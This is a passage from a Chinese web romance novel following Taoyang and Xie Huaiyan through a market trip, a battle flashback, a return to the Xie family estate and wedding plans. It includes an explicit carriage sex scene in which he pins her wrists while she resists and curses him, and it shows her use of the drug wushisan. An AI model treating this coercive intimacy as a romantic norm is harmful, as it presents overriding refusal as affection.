院中静谧,叶落无声,桃漾抬手落在颈间,将那枚白玉坠解下,塞在他手中:“物归原主。” 谢怀砚提起玉坠上的红绳,淡淡的莲子清香扑面而来。 他修长指节插在桃漾发间,拖住她的后脑向前,俯身吻住嫣红唇瓣,唇舌相缠间,他微凉指腹按在桃漾手心,将白玉坠再搁回她手中,嗓音微哑道:“我总是忙不完的,日后你来打理——” 他不给桃漾回答他的机会,握住她的手,将玉坠握进她掌心,再次深吻下去。 桃漾自来到长陵郡后还未出过别苑的大门,在院中待了半个时辰后,她起身就要再去水榭,被谢怀砚阻止,带着她出了别苑往长陵郡城内行去。 待入了长陵城,街市上行人来来往往,人声鼎沸,熙熙囔囔,道路两侧的铺子也都已开张,正热热闹闹着,桃漾已许久不曾见识过这种喧嚣了。 她整日里沉浸在五石散中,忽然走进闹市,有种恍然隔世之感。 谢怀砚见她趴在窗边神色怔然的出神,让空渊停下马车来,他和桃漾下了马车,走在人群中,待走上有一刻钟,桃漾闻到了很多种气息混合在一起的味道。 她抬眸四下里去瞧。 谢怀砚侧首与她道:“凉州山脉居多,气候湿润,盛产药材,尤以长陵郡的药材最为丰富。”他抬手给桃漾指了指:“那间药材铺,便是谢氏在长陵的铺子。” “走吧,进去瞧瞧。” 桃漾当初在北朝和陈月漪把药食同源铺开起来后,最让她头痛的事,便是药材。无论是陈月漪做的糕点中还是她做的药囊里,都离不开药材。 起初,她没有合适的货源,就在街市上的摊贩那里购买城外村子里村民们采的药材,那时候,她对各式各样的草药如何分辨不是很精通,常常花了大价钱买到劣质品或是假货。 回到院中后,还要再自己加工处理。 后来,为了保证铺子里用的药材都货真价实,就只能去药材铺子里高价购买。 直到铺子开了近半年时,才认识了一位药材货商,之后都在他那里拿的货。 药材铺‘前店后坊’,也收购附近村子里村民们送来的药材,桃漾和谢怀砚走进药材铺时,正有好几个背着竹筐的妇人在售卖她们刚挖下的草药。 店里伙计忙着给她们上称,桃漾走上前去,垂眸辨认着她们背篓里的草药,待几位妇人拿了银子离去,伙计看了眼他们的穿着,上前笑问:“两位是买药还是做生意?” 桃漾对他道:“随便看看。”伙计应下后自去忙,桃漾在铺子里垂眸看着这些药材,时不时的拿起来闻上一闻,长陵郡的药材确实都是极好的。 她认真的分辨着,谢怀砚就站在一侧看着她。 在这里待了有半炷香的时辰,再去街上随意走了走,已是午时,桃漾看到不远处有一家馄饨铺,正冒着热腾腾的烟气,她抬眸看了谢怀砚一眼,低声道:“你先回马车吧。” 谢怀砚眉心微抬,往馄饨铺子里看过去一眼:“怎么,吃碗馄饨还要把我赶走?” 桃漾淡声问他:“你吃么?你若不吃高高在上的陪我坐在那里,会扰了阿婆的兴致。”谢怀砚闻言轻笑:“雅俗共赏,有何不能吃的。” 他这样说,桃漾也没再说什么,抬步走进了馄饨铺,对阿婆道:“阿婆,两碗荠菜馄饨。”阿婆应了一声好,就去忙活着给他们煮馄饨。 片刻后,两碗馄饨端上来,桃漾拿起桌上的醋倒了些,再递上几滴芝麻油,垂眸自顾自的吃起来,谢怀砚看着她,也放了醋和芝麻油。 待两碗馄饨吃完,阿婆笑着走过来,看着他们不由说道:“两位郎才女貌,可真般配呢。”谢怀砚闻言看了桃漾一眼,掏出一锭银子搁在了桌上。 回到别苑已是申时,桃漾有些困乏,去了卧房内休息,别苑内午时就来了拜访的客人,谢怀砚自去见客。 待桃漾睡醒已是酉时,她起身在院中走动片刻,再去了常去的那处水榭,窗边的棋盘还在,搁着五石散的檀木盒却早已不在那里,她回身去问沈婆子:“盒子呢?” 如今谢怀砚回来了,沈婆子的话也硬气了不少:“公子命老奴收起来了,不让姑娘用。”桃漾淡淡凝眉,再与沈婆子道:“他不在,你拿出给我。” 沈婆子不给。 桃漾在水榭内用了盏茶,再回到院中,沐浴后早早的上了榻,谢怀砚来到这里时,她神色清淡正在手中随意翻看着一本书,谢怀砚在她眉眼间扫过,嗓音平和问她:“看的什么?” 他在榻边坐下,桃漾合上手中的书,抬眸看向他,她这些日子用惯了五石散,突然不给她用,心间如火在燃一般的闷燥,语气不善道:“怎么,书都不许看了?” 桃漾知道,沈婆子定是早就去回禀过了。 谢怀砚闻言轻笑,微凉指腹触在她眉眼间:“一日不用便这般大的脾气,”他顿了顿:“这东西伤身,除了它,别的你做什么都可以。” 桃漾凝了凝眉,把他的手拍开,手中书卷随手一扔,钻进被褥中,丢给他一句:“只许州官放火,不许百姓点灯。”她侧躺着,背对着谢怀砚。 卧房内静谧片刻,谢怀砚在她身后再道:“日后,我亦不再用了。”他从前在淮阳本就是偶尔用上一回,并不贪恋此物,不过是与好 友一同饮酒时作陪。 只是后来他彻夜不能眠,才开始频繁服用此物,尤其是在建康的那段时日—— 他这般说,桃漾依旧不理会他,时辰还早,谢怀砚起身去了净室沐浴,两刻钟后,待他再从净室走出,身上只着了件月白寝衣,桃漾躺下也睡不下,又倚靠在迎枕上继续看书。 谢怀砚坐在榻边,沾染了水汽的温热指腹落在桃漾下颌,让桃漾抬起眼眸来看他,午时在院中树下,桃漾只看了眼他衣襟下的伤,此时,他身上的宽大寝衣半敞开,若有似无露出宽阔劲瘦的肩腰。 除却之前的旧伤外,又添了好些新伤。 谢怀砚低声与她道:“桃漾,你看看,也心疼心疼我。” 他握住桃漾的手,用她的指尖微挑,他身上的寝衣就整个落下。 他再把桃漾的手触在自后腰划过的一道深深的刀痕上,垂眸凝着她:“现在愿意信我了么?” 桃漾转开眼眸,看去别处。 他刚沐浴过,身上的伤口虽结了痂却还需上药,沈婆子走进卧房送来了药罐和纱布,桃漾被谢怀砚捞起来把他身上的伤都给上了药。 卧房内烛火昏黄,铜兽炉里檀香袅袅,显出几分旖旎意味,待伤药涂好,谢怀砚将桃漾揽在怀中,俯身去吻她。 吻的深了,他宽大手掌钻入桃漾寝衣内,就要扯下她的小衣,午时院中的亲昵已让他难以克制,一旦碰上,总是不能善了的。 他指腹刚一用力,就被一只软柔的手给按住,谢怀砚离了她的唇,眉心微抬,低声:“嗯?” 桃漾趁机推开他,道:“不是让我心疼你么,离我远点!” 说完,她自他怀中挣脱再钻回到被褥中躺下。 谢怀砚神色无奈,垂眸看了眼腰间的伤。 倒是忘了这茬。 他起身熄灭了榻边烛火,再要上榻来,桃漾忽然在枕上侧过身,抬手给他指了指:“去次间睡。”谢怀砚闻言呵笑一声,上了榻将她揽在怀中,咬在她耳边,嗓音低哑:“若再过分,我可就不饶你了。” 他的气息滚烫,落在桃漾颈边,桃漾瞪他一眼,转过身去。 —— 在长陵郡别苑待了几日后,就要出发往建康回,此次夺了宁安郡后,谢怀砚先行来到长陵郡,大军已在回返途中,他需要回建康面见萧肃。 坐上马车往回走,就要出凉州地界时,马车外传来‘哒哒’的马蹄声,随后响起一道粗沉的嗓音:“公子,大军已至司州,我前来有事相禀。” 桃漾当时正在马车内看书,闻言只觉得这声音有些耳熟,却又想不起是谁,她抬手掀开帘帐,看到马车外高坐马背之上的人时,眸光瞬时放大。 陈益—— 他没有死! 陈益背叛了谢怀砚是真,可谢怀砚并未杀他。 陈益骁勇善战,军中将士多信重于他,两军交战之际,陈益就算再该死,也得等拿下宁安郡之后。 ‘陈益头颅’挂在军旗旁之后,北朝军的细作很快就把消息传给萧子亭,当夜,亦有北朝军偷偷潜入来分辨真假,他们以为陈益当真死了后,开始主动宣战。 几场厮杀,谢怀砚带领将士退至宁安郡外三十里,北朝军粮草虽运来却不足以抵挡多日,以为他们已是颓败之势,意图速战速决。 只是,萧子亭身经百战,依旧不敢掉以轻心,而他身边的副将萧奇却是个急躁性子,那日,谢怀砚命王谦带领一队骑兵绕过后山往北朝粮道而去。 萧子亭得到通传,立时带兵亲自前往,而宁安郡城门前,一连几日后退的南朝军忽然上前来挑衅,萧奇一时心中怒火升腾,带领城中大半将士,欲要将南朝军一网打尽。 有人劝他:“等萧将军回来再说吧!” 萧奇冷呵一声:“待萧将军回来,咱们给他好消息听!”说完,带兵纵马而去。 行至宁安郡外二十里,山道右侧忽有数箭齐发,萧奇当即下令:“有埋伏,跟我走!”他带领将士往左侧一块平地而行,欲从此处山道绕行。 身后弓箭还在如雨般发出,他们的马赶的急,刚纵马赶出数十丈,萧奇和身边将领已掉入提前放了铁刺的深坑之中,他身后将士急忙勒马,却因赶的太急,也翻入深坑,后面将士还在一拥而上,整个都跌了进来。 这边厮杀几个时辰后,陈益也已带兵赶至了北朝的长平郡。 前一日夜里,谢怀砚命陈益带领军中一半将士趁夜过山走水路绕过宁安郡往长平郡而去,北朝的长平郡与宁安郡相挨,如今长平郡城内空虚,城中将士不过百余人。 陈益带领将士不过两个时辰就拿下了长平郡。 萧奇带兵前去追赶和长平郡被陈益带兵攻打的消息同时传到萧子亭这里,他拨出一千将士前去围攻陈益,他自己则亲自带兵前去接应萧奇。 此次谢怀砚虽是兵行险招,却让北朝军队大伤元气,并且失了长平郡。 那时,他们的粮草也已用尽,凉州刺史和庾氏桓氏给他使绊子,谢氏在凉州的产业也已陆陆续续送来了百十吨粮草,一时再周旋不出。 陈益与谢怀砚提议:“主帅,为今之计只能拿长平郡来换萧子亭手中的宁安郡。” 谢怀砚闻言冷笑一声。 他不止要宁安郡,还要萧子亭身败名裂! 他给萧子亭去了一封书信。 要萧子亭给他写‘降书’。 军中将领写降书,是永远抹不去的耻辱。 谢怀砚命陈益在长平郡带兵前去攻打宁安郡的北城门,再命王谦在南城门围攻,明明那时他们的粮草已要用尽,谢怀砚依旧不改主意,若萧子亭带兵出城迎战,他们又能落得什么好。 可他偏要赌,赌萧子亭不敢迎战,最后逼得萧子亭为了两城百姓写下降书,拿宁安郡来换长平郡。 至此,谢怀砚在建康城中日夜周旋,却只能等待时机,收到一封又一封来自北朝书信时的痛苦煎熬,总算是出了气,泄了恨。 谢怀砚见过陈益后再回到马车,桃漾垂眸用了盏茶,问他:“他既是背叛了你,为何还要用他?” 谢怀砚也拿起杯盏用茶,神色平和道:“他还有用。”卢氏暗中害他的这笔账,还得慢慢和他们清算。 桃漾抬眸淡淡看他一眼:“你也给他喂了药?”谢怀砚闻言失笑,将桃漾揽在他怀中,温声道:“对付他,当然有别的手段。”他指腹微凉,按在桃漾唇珠。 俯身尝了尝桃漾口中的清甜,低声道:“那日喂给你时,没觉得甜么?就是颗糖罢了。” 桃漾闻言瞪他一眼:“谢怀砚!” 马车辘辘而行,第二日申时入了司州地界,如今已是四月中,官道两侧林木葱郁,百花盛放,桃漾不由想起了初到建邺城时的那段日子。 让空渊停下马车,和沈婆子一道去了山中。 两刻钟后,沈婆子神色匆匆脚下几乎生风一般的跑回,气喘吁吁的在马车边回禀:“公子,姑,姑娘她不见了——” 第73章 马车给他尝尝 谢怀砚和沈婆子来到山中的一片梨花林时,桃漾怀中正抱着一束杜鹃花朝他们走过来,暮春时节,她身上着了件应节气的豆绿色百褶锦裙,走动间,裙摆如花在漾动。 谢怀砚看着她,眉眼间的神色虽有所克制,在暖阳下依旧显得冷沉,低声问她:“去哪儿了?” 桃漾抬眸看他一眼,抬手指了指:“那里有棵樱桃树,我去摘了些樱桃来。”她右手抱着怀中的花,左手中是用香帕包着的一小兜红樱桃。 在日光下,隔着帕子隐隐显出几分薄红。 谢怀砚敛眸看着桃漾唇边沾染上的樱桃汁水,语气淡淡问:“甜么?”桃漾抬手把一小包樱桃在手中摊开往他面前递了递:“我适才尝了,挺甜的。” “喂我。”他眸光深邃,直直凝着桃漾。 桃漾看他一眼,把整包樱桃都塞进他手中:“自己吃。” 她不理会谢怀砚神色间的不悦,把怀中的杜鹃花递给沈婆子,道:“我再去折几枝鸢尾来。”她说完,转身再往适才去过的地方走去。 香帕搁在谢怀砚宽大手掌中,四散而开,露出里面红润润的樱桃,他指腹微微用力,红润多汁的樱桃按压破开,染的藕粉帕子上殷红一片。 沈婆子在身侧见状,急忙跪下:“老奴有错,请公子责罚,”沈婆子解释道:“那里有条山道,两块巨石紧靠着,姑娘走过去,老奴本也是要跟上去的,可,可老奴这身量,过不去——” “眼 瞧着姑娘越走越远,不一会儿就没了影,老奴心里担忧,让部曲跟上去急忙去找,老奴就去跟公子禀告了——” 谢怀砚深邃眸光淡淡扫了沈婆子一眼,抬步朝桃漾去的方向走过去。 沈婆子在身后再懊恼道:“老奴日后定少吃些饭!” 桃漾再折了几枝鸢尾花后,和谢怀砚一道下了山,马车再辘辘而行时,她坐在马车内取了谢怀砚的笔筒用来插花,待手中的最后一枝杜鹃插进瓶中。 桃漾刚坐直身子,谢怀砚抬手在她腰间一揽,就把桃漾揽进他怀中坐下,含住她的唇时,不由分说去解桃漾的衣裙,桃漾立时抬手去推他,被谢怀砚攥住手腕,对坐在他面前。 他俯身贴在桃漾耳边,嗓音暗哑:“桃漾妹妹,这么久了,给我吃一吃你。” 衣衫解开,垂落至腰,谢怀砚一边俯身去含,一边用另一手合上了身后的窗—— 窗牖被合严,他宽大手掌攥在桃漾腰间,只稍微用力,就将桃漾整个抬起来,再落下—— 谢怀砚虽已侍弄了她好大一会儿,桃漾坐下时还是口今出了声,在谢怀砚松开她手腕时,紧紧掐在他肩背上。 她吃不了力,双腕环在谢怀砚颈。后,趴在他肩上。 马车车厢虽是用的上好的乌沉木,依旧不能隔绝声响,桃漾咬着牙,在谢怀砚耳边骂他:“混账东西!” “王八蛋!” 桃漾把她能想到的脏话都用来骂他。 意识到她骂了这些后,谢怀砚不但不收敛,反而更过分,还在她耳边说荤话:“听听,是什么声音——”桃漾咬在他肩上,他越。快越狠,随之而来肩上的痛就来的越重。 马车行了有一刻钟时,车厢外传来阵阵‘哒哒’的马蹄声,桃漾听的心惊,可偏偏这马蹄声就在他们马车旁停了下来,随后传来一道男子沉稳却带着兴奋的嗓音:“怀砚,是我!” “这么好的天气,合上车窗做什么,吹吹风多好啊!” 荀宇的父亲任司州刺史,早些日子他就等着谢怀砚的马车入司州,今日得了通传后立即策马前来相迎,请谢怀砚去他的别苑饮酒作乐。 此时,他话说完,见马车内没有回应,再唤了声:“怀砚——” 马车内谢怀砚眸色暗沉,放缓了速度后与马车外的荀宇道:“有份公文要写。”他只这么一句话,再无别的言语,荀宇闻言不由凝眉:“都打了胜仗了,还忙什么,”他叹了一声:“你写你的公文,把窗户打开啊。” 谢怀砚不再理他。 空渊在马车前与荀宇道:“我家公子写公文时吹不得风,荀五郎君先稍等片刻。” 空渊话落,前方不远处的地面上正有一不大不小的深坑,与荀宇说了句话的功夫,一个不留神,正碾在上面,马车车轮不稳,忽的来了个猛烈晃动。 车厢内也紧跟着传来一声女子克制的轻吟,同时带着男子的闷哼声。 荀宇愣了愣,一时险些掉下马去,随后清了清嗓子,不自然的与马车内的人道:“怀砚,不急,我,我先去前面驿站等你。”他说完,低声问空渊:“是什么样的美人,让你家公子这般情不自禁?” 空渊装聋不吭声。 荀宇轻笑,驾马离去前,对空渊叮嘱:“马车赶稳些。” 马车内敞阔,有用来休息的软榻,适才那般颠簸后,他看到桃漾脸颊上有泪,抱着桃漾将她搁在枕上,自是一番狂风暴雨,直到酉时,西山晚霞漫天,马车的车窗才自内被推开。 桃漾衣衫凌乱,挂在身上半落不落的,她阖着眼眸躺在软枕上,谢怀砚坐在榻边帮她把身上衣服重新整理好,微凉指腹落在她额间,将沾染了薄汗的碎发轻抚开。 他敛眸凝着桃漾。 看她娇靥清丽,带着欢。好后的潮。红,檀口微张,轻轻喘着气,他抬手端起小几上那盘清洗好的樱桃,指腹轻捻,把一颗又红又大的送到桃漾唇边,指腹用力,轻轻一送,就到了她口中。 桃漾口干舌燥,冰冰凉凉的樱桃入舌尖时,她依旧阖着眼眸,红唇翕动,轻轻咬着果肉,待嚼完咽下,谢怀砚冷白指节落在她唇边,桃漾香舌轻露,将一粒樱桃核自唇边滚下,落在他手上。 谢怀砚再喂给她一颗。 不等桃漾咽下,他俯身吻下去,在她口中吃着酸酸甜甜的殷红汁水,待浅尝过后,再来喂一颗,他神色散漫,乐此不疲,桃漾从疲惫中回过神,睁开眼眸来推他。 谢怀砚离了她的唇一指,舔去她唇角渗出的汁水,嗓音低沉道:“今夜在荀宇的别苑留宿,晚间一起去用膳。” 桃漾对他摇头:“不去。” 谢怀砚眉心微抬,桃漾再道:“我累了,要回去歇着。” 谢怀砚对她应了声,宽大手掌落在柔软腰肢,给桃漾轻轻按揉着,马车很快行至官驿,荀宇正等在这里,看到谢怀砚的马车到,上前走去窗边:“怀砚,我在别苑设了宴席,为你庆功。” 荀宇看到马车内的桃漾,心中只道,都言凉州出美人,果真不假。 他对桃漾轻笑示意,桃漾对他回礼。 谢怀砚在窗边对荀宇颔首,温声道:“五郎带路吧。”荀宇上了马在前,一路往北行,走出小半个时辰后就到了荀宇的别苑门前。 谢怀砚随荀宇去了水榭,桃漾被别苑内的仆人引着去了后院的一处清雅阁楼,走进后,她先让人备了热水去沐浴,在马车内虽是简单清理过,身下依旧黏黏的。 还有温热在流淌。 沐浴过后,桃漾用了些晚膳,就上了榻睡下,谢怀砚什么时候回来的她都不知。 他们并不在此多做停留,第二日一早离开时,荀宇在别苑门前相送,站在马车窗边,接过身后婢女递来的食盒,递进马车中,与桃漾笑道:“我为嫂嫂准备了些糕点和水果,嫂嫂路上吃。” 桃漾抬眸看他,只接过他手中递来的食盒,没有应声。 谢怀砚看了看她,与荀宇道:“五郎有心了。” 三日后,马车行至淮阳城,在谢府门前下车时,桃漾一直坐在马车内,神色黯然,谢怀砚在马车门前等了她许久,她才提裙走出。 刚过申时,天光还大亮着,桃漾和谢怀砚一道入了谢氏府门,府中下人纷纷上前来行礼,看到桃漾时,神色平常,未有丝毫变化。 当初桃漾离开谢氏,没有太多人知晓,可谢怀砚在墨园内整整昏迷了一月之久,那段时日府中气氛沉闷,连带着下人做事也格外的谨慎小心。 是以,他们都对府中那位阳夏来的五姑娘有些印象。 来到谢老夫人的存玉堂时,谢夫人和府中的几位姑娘也都在,已过去近三载时光,一切都如当初一般模样,却又有着说不出的不同,谢怀砚与她们言语几句后。 桃漾上前给谢老夫人和谢夫人请安。 大前年桃漾刚离开时,谢老夫人就想着,人走了也好,留下来做什么?到时候又是一桩让她心里堵闷的事,这丫头和别的人不一样,是个心狠的,害了怀砚受苦。 可后来,府中发生了那么多事,怀砚为了找她,费尽心思,不但和他父母不亲近,也很少再来她的存玉堂里请安。 她也就懒得去管了,只是未想到,过了这么久桃漾真的回来了。 谢老夫人这几年多生华发,人显得苍老了几分,桃漾对她行礼后,她对桃漾淡淡点了头,态度不冷不淡,未有只言 片语。 谢夫人见老夫人这般,与桃漾温声道:“回来了就好。” 在存玉堂问过安后,桃漾就回了鹿鸣山,一连赶了几日的路,身上疲倦,她下了碧月阁内的温泉池,在水中泡了好些时候,西山晚霞漫天时,才觉得肚子有些饿。 起身出了温泉池在古亭里用了晚膳,婢女刚把饭菜再收走,碧月阁里就来了两位嬷嬷。 举止大方,衣着华丽,是谢夫人身边的花嬷嬷和谢氏府中的管事嬷嬷。她们走上前来,对着桃漾见了礼,随后温声笑道:“老奴先给姑娘贺喜。” 花嬷嬷再道:“奉夫人的命,来为姑娘量体裁衣。” 桃漾安静的抬眸,神色间露出几许不解。 正这时,谢怀砚自碧月阁外走进,两位嬷嬷行礼后退远了些,他上前在桃漾身侧落座,与她温声道:“后日还要出发去建康,我已与母亲说过,这段时日让她准备大婚事宜,待建康的事处理完我们回来成亲。” 桃漾神色不变,淡淡看他一眼,没吭声。 谢怀砚再看向两位嬷嬷,她们当即再走回来,花嬷嬷与桃漾道:“姑娘站起身来吧。”还有几日就要立夏,天气暖和,桃漾在温泉池内走出后身上只着了件玉色中衣,墨发披散于肩。 她闻言站起身,面容恬静,让花嬷嬷她们给她量身。 一刻钟后,花嬷嬷她们自行离去,谢怀砚把桃漾揽在他怀中坐下,看着她的眉眼道:“桃漾,别这么闷闷的,欢喜些——” 他见桃漾微微出神,俯身在她唇上轻咬了下,桃漾凝眉来看他,谢怀砚对她轻叹了声,声线温柔中带着几许惆怅:“我今岁已二十有五,虚岁都二十六了,你还要我等多久?” 他贴在桃漾耳边:“小桃儿,欢欢喜喜的嫁给我,好么?” 桃漾侧过身,抬起纤白指腹按在他薄润的唇上,皱眉道:“别这么唤我。”这是她生母为她取的乳名。 谢怀砚眉心微动,再道:“那唤你小漾儿,”他见桃漾还是皱眉,低笑道:“总要和别人对你的称呼不同罢。” 桃漾神色淡淡道:“随你。” 古亭下亲昵片刻,桃漾低声与他道:“我不想去建康。”谢怀砚闻言抬了抬眉看着她,桃漾再道:“我想去城外田庄待一段时日。” 谢怀砚在口中重复着‘一段时日’几字,问她:“一段时日是多久?” 桃漾轻声回:“不知道。” 她也不知道。 谢怀砚温润的眉眼瞬时暗沉下去,点墨黑眸直直凝着她,默上许久,他站起身,对桃漾沉声开口:“收拾你的东西,后日去建康。” 他说完,褪下身上衣袍下了温泉池。 半个时辰后,他自温泉池内走出时,桃漾已不在古亭下,谢怀砚来到卧房时,桃漾已躺在枕上,他上了榻和她说话,桃漾阖上眼眸不理他。 卧房内寂静,可闻彼此呼吸声,谢怀砚埋在桃漾发间,嗓音低哑:“你要去田庄,总要给我个时日罢?”他唤她小漾儿:“圣人千虑,尚且有失,我非圣人,对你用错了方式,你总要给我一次被原谅的机会。” 默上许久,桃漾侧过身来,乌眸明亮,与他眸光相对,轻声道:“明年初夏。” 后日正是今岁的初夏日,谢怀砚在这一日出发往建康城去,桃漾在府中给谢夫人请过安后,回鹿鸣山的路上碰上了几位小郎君和小女郎,时隔近三载,庆小郎君长高了好些。 卢双萱当年产下的小女郎扎着双丫髻,跟在哥哥姐姐们后面着急的迈着小步子。 看到桃漾后,还极为有礼奶声奶气的对桃漾唤了声:“姑姑——”桃漾在她双丫髻上轻抚了下,看着她的身影再走远。 回到鹿鸣山,水兰水叶已把她的东西都收拾好,桃漾坐上马车,看着部曲牵着她的小象跟在后面,对车夫道:“走吧。” 桃漾所去的田庄在淮阳城外十里处,田庄不算大,背山靠水,庄子里有一座精巧的三层阁楼,因离得淮阳城近,田地里并未种庄稼,只有一片果林,平日里供城内的妇人女郎们前来玩乐。 她们来到这里时,负责打理庄子的管事已把三层阁楼收拾出来,桃漾和水兰水叶一起,再简单布置一番,用过午膳后,她让水兰水叶各自去忙。 她起身,在箱笼底部取出一只檀木盒,在里面取出一份五石散服下。 这几年谢怀砚一直没有离开过此物,他日日在鹿鸣山中设宴,此物自是常备,谢怀砚出发去建康后,她问水兰要了库房钥匙,取了一盒带来了这里。 她服下后,独自一人在林中行散,待走上半个时辰后,身上的散行去大半时,就回了卧房内午憩,她躺在枕上,很快睡下,之前那个断了的梦再重现—— 第74章 第74章桃漾梦到了谢怀砚。…… 桃漾梦到了谢怀砚。 谢书易离开淮阳前往建康城的第二日,墨园里侍奉的婢女秋霜就来了谢老夫人的存玉堂,桃漾并不知秋霜同老夫人说了些什么,老夫人就同意了她前去谢怀砚的墨园帮他打理事务。 她虽自幼就在谢氏府中长大,却与府中的这位二公子不相熟,只偶尔过节府中一大家人聚在一处时远远瞧见过他,并未有过几句言语。 是以,她初来墨园中时,很是拘谨,对他也本能的有着一层畏惧。 好在有秋霜和冬月在,墨园里也有一位管事,她在这里只是谢书易为她寻求的庇护之所,用得到她的地方不多,她只需打理些墨园里的琐碎事,需要与谢怀砚接触的事宜都是秋霜和冬月在做。 桃漾就这样平平静静的在墨园里待着。 鲜少会见到他。 直到一月后的初雪日里,谢怀砚饮了酒深夜方回,冬月前去他的寝居里侍奉,不过片刻,冬月便哭着再跑出来,身上只一件冬衣,跪在谢怀砚居住的院外。 漫天飞雪飘落着,桃漾不知发生了何事,平日里冬月待她并不温和,她就自去忙自己的,不操心这些事。 可到了第二日,她听闻冬月被赶出了墨园。 冬月一直近身侍奉谢怀砚,知道他的习惯,昨夜里谢怀砚不止饮了酒还用了五石散,冬月生的模样好,整日里打扮着自己,为的就是有一日能不再做这府中的奴婢。 她在侍奉谢怀砚宽衣时,不小心跌在了谢怀砚身上,冬月毕竟只是十六七岁的少女,脸颊瞬时桃红一片,而谢怀砚整日在外应酬,女子的这般模样见的多了,挑眉看了看冬月,冷冷吐出一个字:“滚!” 冬月走后的当日晚间,谢怀砚身边的随侍空渊请了桃漾去他的书房,也是那时桃漾才知,在谢怀砚眼里,她不过是谢书易随手送到他身边的一颗棋子。 所谓在墨园里打理事务,不过是体面的说辞罢了。 搁置了炭盆的书房内,他神色淡漠的看着她:“既然冬月不在了,不如桃漾妹妹做了她的活计。” 他语气虽温和,眸色中却带着鄙薄的玩味。 桃漾再回到她的屋中,神色黯然的躺在枕上,她平日里待在老夫人身边,不知谢书易和谢怀砚之间的事,只知平日里谢书易对待府中人皆很和善。 究竟是谢书易未与谢怀砚说明白,还是谢怀砚根本不信谢书易的话,才会这样看待她? 桃漾盯着帐顶出神了许久,她已不敢再把希望全都放在谢书易身上,她既已在了墨园,若能讨到谢怀砚的庇护,日后嫁进普通士族,安稳过日子亦很知足。 第二日的时候,她就做了冬月的活计,为他收整书案,煮茶添香,没有任何的不满,一连数日,谢怀砚也未再与她说过话,直到那日,墨园后的山间梅花都开了。 她取了梅花瓣做了香,还用梅间雪给谢怀砚煮了茶。 他回到书房后,先闻到了铜兽炉里清冽的梅香,敛眸看了眼,坐在书案前时再拿起杯盏用了口茶,梅间雪煮出的茶有股特别的清甜,他再用了一口,抬眸朝着窗外那道倩影看过去一眼。 桃漾私自换了他书房的香和茶水,谢怀砚没说什么,算是默许,之后整个冬日里他的书房都是散满梅香的,偶尔书案边角还会插着一支含苞待放的绿萼梅。 入了冬月的一日,她收到了谢书易自建康城的来信,书信上除却一些对她的思念和关怀外,他还在信中提到她的字,说谢怀砚的字得名儒所授,让她在墨园闲来无事时可以向谢怀砚请教一下书法。 她给谢书易回了书信,却没有这么 做。 几日后,谢怀砚忽然邀她一道上山,在山间水榭内,他长身玉立站在书案前,神色平和与她道:“桃漾妹妹的书法如何?写来给我看看。” 桃漾上前给他写了‘厚德’二字,谢怀砚敛眸看了眼,淡声道:“欠些火候,我来教桃漾妹妹——” 桃漾自枕上睁开双眸,神色复杂,过了许久才坐起身来,她下了榻后用了盏茶,水叶见她醒过来,就要上前来侍奉,桃漾温声与她道:“不用,日后你们各忙各的。” 她打算在庄子里种些花草和易存活的草药,已吩咐跟着她来田庄的部曲去耕地了。 桃漾简单梳洗,下了阁楼时,沈婆子和青翠也回了这里,她们这些年虽是在北朝做事,家人却都还在淮阳,这几日桃漾在谢氏府宅中,她们就回了家中一趟。 她们两个上前来见礼,桃漾问:“你们刚回来,累么?”沈婆子和青翠闻言纷纷摇头,桃漾见状再道:“那随我上山罢。” 穿过田庄的那片果林后,有一片闲置的空地,五六部曲忙活了大半日,已将这块空地都给翻出来,过了这里,就到了田庄的北门,自北门而出,左手边不远处有一雀儿湖,右手边则是一座矮山。 入了夏的时节山里花草繁盛,处处是啄食野果子的鸟雀,桃漾就和沈婆子青翠在山中逛了一个时辰,把可以用来栽种草药的地块都给标记上。 这样忙活了几日后,田庄里来了位贵客。 庾子轩带了整整一马车颍川的稀罕玩意和吃食来到这里,桃漾看到他,心中自然欢喜,请庾子轩上了二层阁楼坐下,边给他添茶边道:“你怎么知道我在这里?” 庾子轩先是轻哼了声,随后再拿起杯盏用了茶:“还能是怎么知道的,谢怀砚去建康的途中去了庾氏一趟,”庾子轩压下心中怒火,轻轻看着桃漾:“他去提亲,我就知道你在淮阳了。” 谢怀砚此次经过颍川前去庾氏,是赔礼道歉的。 当初他囚禁庾子轩,把庾氏一族得罪了个彻底,后来,虽送回去一个完好无损的庾子轩,颍川庾氏这一年来与淮阳谢氏也鲜少再来往。 他命人备了厚礼前来拜访庾氏家主庾珉以及庾氏的二爷庾睿。 庾珉虽心中也恼之前的事,却不会太不给谢怀砚颜面,尤其是此次谢怀砚拿下了宁安郡,入了建康城后那是要入尚书省,位极人臣的。 庾珉在水榭内接待了谢怀砚,见他诚意足,也就不再提及之前的事,言谈片刻后,谢怀砚神色平和与他道:“谢氏在凉州倒是有几笔药材生意,正不知交与谁来做,庾大人可有兴趣?” 凉州盛产药材,这些年凉州的药材生意被谢氏垄断,庾珉一直有意在谢氏手中讨碗羹,闻言心中自是欢喜。 与谢怀砚谈了小半个时辰的生意后,他看了眼谢怀砚的神色,与他笑道:“我也是刚知道,二爷他在外有一女,我们庾氏正商议着让她认祖归宗,总不能一直待在外面。” 谢怀砚抬手用了盏茶,对庾珉颔首:“庾大人说的是,庾氏是名门士族,怎好让庾氏血脉流落在外。”他在水榭和庾珉再待了片刻,庾珉引着他去了庾睿的院中。 庾子轩是庾睿的次子,庾睿对谢怀砚当初的作为极为愤恨,尤其是他去阳夏走了一趟,确定桃漾就是她的女儿,对谢怀砚更是恨之入骨。 庾珉引着谢怀砚刚来到庾睿的书房,庾珉笑道:“看你忙的,不是让人请你去水榭了么,还让怀砚特——”庾珉的话未说完,庾睿已站起身沉声道:“兄长不必再说,我这一方贱地迎不了谢氏家主这样的大佛。” 庾珉:“……” 庾珉自行离去,谢怀砚对庾睿行了晚辈礼,语气平和道:“听闻庾二爷最好萧老先生的书画,我早些年倒是收藏了些,今日特来送与庾二爷留藏。” 庾睿依旧不理他,谢怀砚也就明白了桃漾的性子是随了谁,他不欲与庾睿再多说,神色沉稳道:“此次我带兵前去取宁安郡,奉的是陛下的命。” “庾二爷和桓氏联手起来,在凉州设阻,犯的该是什么罪?”他轻笑一声:“我朝律法有言,将士前方作战,若有故意拖延粮草者,诛——” “庾二爷以为自己做的天衣无缝么?” 谢怀砚跟他先礼后兵,庾睿闻言丝毫不惧怕,凝了谢怀砚一眼:“你若有能耐,就去陛下面前告我的罪,无论如何,我是不会让桃漾嫁与你的!” 